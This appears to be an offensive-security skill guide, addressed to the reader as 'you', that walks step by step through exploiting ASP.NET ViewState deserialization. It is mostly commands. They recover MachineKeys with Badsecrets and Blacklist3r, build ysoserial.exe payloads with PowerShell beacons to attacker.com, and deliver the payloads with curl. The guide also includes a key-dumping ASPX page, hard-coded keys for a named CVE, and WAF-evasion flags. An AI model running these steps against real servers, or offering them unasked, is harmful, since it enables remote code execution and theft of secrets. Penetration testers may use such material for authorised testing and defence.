Exploit Aspnet Viewstate

ASP.NET ViewState Deserialization Exploitation

This skill guides you through identifying and exploiting ASP.NET ViewState deserialization vulnerabilities across different .NET versions and security configurations.

Quick Start Workflow

1. Identify ViewState parameters in the target application
2. Determine security configuration (MAC enabled, encryption enabled, .NET version)
3. Discover MachineKey using Blacklist3r or Badsecrets
4. Generate payload with YSoSerial.Net
5. Test exploitation and verify code execution

ViewState Configuration Matrix

Step 1: Identify ViewState Parameters

Capture HTTP requests with BurpSuite and look for:

• __VIEWSTATE - The serialized state data
• __VIEWSTATEGENERATOR - Used for MAC calculation
• __VIEWSTATEENCRYPTED - Indicates encrypted ViewState

Step 2: Determine Security Configuration

MAC Protection (EnableViewStateMac)

• If __VIEWSTATE is base64 only (no MAC), MAC is disabled
• If __VIEWSTATE includes MAC, it's enabled

Encryption (ViewStateEncryptionMode)

• If __VIEWSTATEENCRYPTED parameter exists, encryption is enabled
• If ViewState appears as readable base64, encryption is disabled

.NET Version

• Check response headers for ASP.NET version
• Look for X-AspNet-Version header
• Test with different payload formats

Step 3: Discover MachineKey

Using Badsecrets (Python, cross-platform)

# Direct ViewState analysis
python examples/blacklist3r.py --viewstate <VIEWSTATE> --generator <GENERATOR>

# URL-based extraction
python examples/blacklist3r.py --url http://target/page.aspx

# With custom keylist
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist custom_keys.txt -t target.tld

Using Blacklist3r (Windows, .NET)

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <VIEWSTATE> --decrypt --purpose=viewstate --modifier=<GENERATOR> --macdecode --TargetPagePath "/path/to/page.aspx" -f out.txt --IISDirPath="/"

Step 4: Generate Payload with YSoSerial.Net

Basic payload (no MAC, no encryption)

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

With MAC protection

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=<GENERATOR> --validationalg="SHA1" --validationkey="<KEY>"

With encryption

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/path/to/page" --apppath="/" --decryptionalg="AES" --decryptionkey="<KEY>" --validationalg="SHA1" --validationkey="<KEY>"

With ViewStateUserKey

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "command" --viewstateuserkey="<USERKEY>"

Minified payload (for WAF evasion)

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" --validationkey="<KEY>" --validationalg=SHA1 --decryptionkey="<KEY>" --decryptionalg=AES --generator=<GEN> --minify

Step 5: Test Exploitation

Send the payload via:

curl -d "__VIEWSTATE=<PAYLOAD>" http://target/page.aspx

Or with POST data:

curl -d "__VIEWSTATE=$(cat payload.txt)" http://target/page.aspx

Success Indicators

• 500 Internal Server Error with "The state information is invalid for this page and might be corrupted"
• Out-of-band request to attacker server
• Command execution on target

Special Scenarios

ViewState not in cookie

If ViewState isn't sent by the server, add it to the request body:

curl -d "__VIEWSTATE=<PAYLOAD>" http://target/page.aspx

.NET < 4.5 with Encryption

Remove __VIEWSTATEENCRYPTED parameter to send unencrypted payload:

# Remove __VIEWSTATEENCRYPTED from request

Dumping MachineKeys via Reflection

If you can upload ASPX files:

<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
    var asm = Assembly.Load("System.Web");
    var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
    var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
    var cfg = (MachineKeySection)m.Invoke(null, null);
    Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

Known Hard-coded Keys

Gladinet CentreStack / Triofox (CVE-2025-30406)

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
  --validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
  --validationalg=SHA1 \
  --decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
  --decryptionalg=AES --generator=24D41AAB --minify

Common Gadgets

• TypeConfuseDelegate - General purpose
• TextFormattingRunProperties - ViewState specific
• WinFormsUI - Windows Forms UI gadgets
• WPF - WPF specific gadgets

References

• Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET
• Badsecrets documentation
• YSoSerial.Net
• Microsoft Security - Code injection attacks abusing publicly disclosed ASP.NET machine keys